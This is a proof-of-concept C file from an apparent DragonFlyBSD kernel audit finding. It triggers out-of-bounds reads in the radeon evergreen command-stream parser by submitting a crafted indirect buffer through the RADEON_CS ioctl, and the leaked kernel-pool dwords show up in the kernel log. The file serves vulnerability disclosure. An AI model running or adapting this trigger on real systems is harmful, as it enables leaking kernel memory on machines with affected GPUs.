โฌข DragonFlyBSD Kernel Audit
DF-3837 / trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-3837 PoC trigger โ€” evergreen_ib_parse() / evergreen_vm_packet3_check()
 * out-of-bounds IB reads via RADEON_CS (VM path, cayman gfx ring).
 *
 * Bug: evergreen_cs.c:3519-3553 evergreen_ib_parse() walks the IB with
 *   `idx += pkt.count + 2` and never validates that the packet fits in
 *   ib->length_dw.  evergreen_vm_packet3_check() then reads fixed payload
 *   offsets with NO pkt->count validation:
 *     :3350  ib[idx]        (unconditional, idx = pkt->idx+1)
 *     :3407  ib[idx+5]      (COND_WRITE, needs count>=5, none checked)
 *     :3414  ib[idx+3]      (COPY_DW,   needs count>=3, none checked)
 *     :3435  ib[idx+4]      (CP_DMA,    needs count>=4, none checked)
 *   For a TYPE3 packet placed at the very END of the IB, those reads run up
 *   to 5 dwords past the IB sub-allocation inside the kernel-mapped IB pool.
 *   Values read OOB are (a) used for validation decisions and (b) printed to
 *   the kernel log as "Invalid register 0x%x in CS" (evergreen_cs.c:3341)
 *   -> information-disclosure oracle of neighbouring pool memory.
 *
 * This PoC builds the malicious IB and submits it through the RADEON_CS ioctl
 * with RADEON_CS_USE_VM set (radeon_cs.c:546-556 -> radeon_ring_ib_parse ->
 * evergreen_ib_parse on the cayman gfx ring).
 *
 * Requires: real AMD cayman GPU + radeon KMS + an authenticated DRI fd
 * (normally provided by libdrm; this PoC does the auth handshake with raw
 * ioctls).  On the audit QEMU guest (virtio only, no /dev/dri) the open()
 * fails with ENOENT โ€” that is the expected outcome there.
 *
 * Build:  cc -O2 -o trigger trigger.c
 * Run:    ./trigger /dev/dri/card0
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* ---- minimal uapi re-definitions (sys/dev/drm/include/uapi/drm/) ---- */
struct drm_radeon_cs_chunk {
	uint32_t chunk_id;	/* RADEON_CHUNK_ID_* */
	uint32_t length_dw;
	uint64_t chunk_data;
};
struct drm_radeon_cs {
	uint32_t num_chunks;
	uint32_t cs_id;
	uint64_t chunks;	/* pts to u64 array of chunk ptrs */
	uint64_t gart_limit;
	uint64_t vram_limit;
};
#define RADEON_CHUNK_ID_RELOCS	0x01
#define RADEON_CHUNK_ID_IB	0x02
#define RADEON_CHUNK_ID_FLAGS	0x03
#define RADEON_CS_USE_VM	0x02

/* core drm ioctls (dispatch uses cmd & 0xff, see sys/dev/drm/drm_ioctl.c) */
struct drm_auth { uint32_t magic; };
#define DRM_IOCTL_GET_MAGIC	_IOR('d',  0x40+0x02, struct drm_auth)
#define DRM_IOCTL_AUTH_MAGIC	_IO ('d',  0x40+0x03)
#define DRM_IOCTL_RADEON_CS	_IOWR('d', 0x40+0x26, struct drm_radeon_cs)

/* ---- packet encoding ---- */
#define PKT3(op, cnt)  ((3u<<30) | (((cnt)&0x3fff)<<16) | (((op)&0xff)<<8))
#define PKT2()         (2u<<30)
#define PACKET3_COND_WRITE	0x45
#define PACKET3_COPY_DW		0x4b
#define PACKET3_CP_DMA		0x41

int main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
	int fd, r, i;
	struct drm_auth auth;

	/*
	 * IB layout (dwords):
	 *   [0]  PACKET3_NOP count=0           -> idx advances to 2
	 *   [2]  PACKET3_COND_WRITE count=0    -> LAST packet; parser reads
	 *        ib[idx+5] = ib[2+1+5] = ib[8] .. 5 dwords past IB end (len=3).
	 * A "valid-looking" but huge register value in the OOB dword makes
	 * evergreen_vm_reg_valid() fail -> DRM_ERROR("Invalid register 0x%x")
	 * prints the out-of-bounds dword to the log.
	 */
	uint32_t ib[3];
	ib[0] = PKT3(0x10 /*NOP*/, 0);		/* hdr + 1 payload  */
	ib[1] = 0;				/* nop payload     */
	ib[2] = PKT3(PACKET3_COND_WRITE, 0);	/* last dword: hdr  */

	uint32_t flags_chunk[1] = { RADEON_CS_USE_VM };

	struct drm_radeon_cs_chunk chunks[2];
	uint64_t chunk_ptrs[2];

	chunks[0].chunk_id    = RADEON_CHUNK_ID_IB;
	chunks[0].length_dw   = 3;
	chunks[0].chunk_data  = (uint64_t)(uintptr_t)ib;
	chunks[1].chunk_id    = RADEON_CHUNK_ID_FLAGS;
	chunks[1].length_dw   = 1;
	chunks[1].chunk_data  = (uint64_t)(uintptr_t)flags_chunk;
	chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0];
	chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1];

	struct drm_radeon_cs cs;
	memset(&cs, 0, sizeof(cs));
	cs.num_chunks = 2;
	cs.chunks     = (uint64_t)(uintptr_t)chunk_ptrs;

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		printf("open(%s): %s (device absent on this guest)\n",
		    dev, strerror(errno));
		return 2;
	}

	/* DRM_AUTH: the CS ioctl requires an authenticated fd */
	r = ioctl(fd, DRM_IOCTL_GET_MAGIC, &auth);
	if (r == 0)
		printf("magic %#x (hand this to the X server / master for "
		    "DRM_IOCTL_AUTH_MAGIC)\n", auth.magic);

	r = ioctl(fd, DRM_IOCTL_RADEON_CS, &cs);
	printf("RADEON_CS: %s\n", r ? strerror(errno) : "accepted");
	if (r == 0)
		printf("IB parsed; check dmesg for \"Invalid register 0x%x in CS\""
		    " โ€” that value was read past the IB end.\n", 0);
	close(fd);
	return 0;
}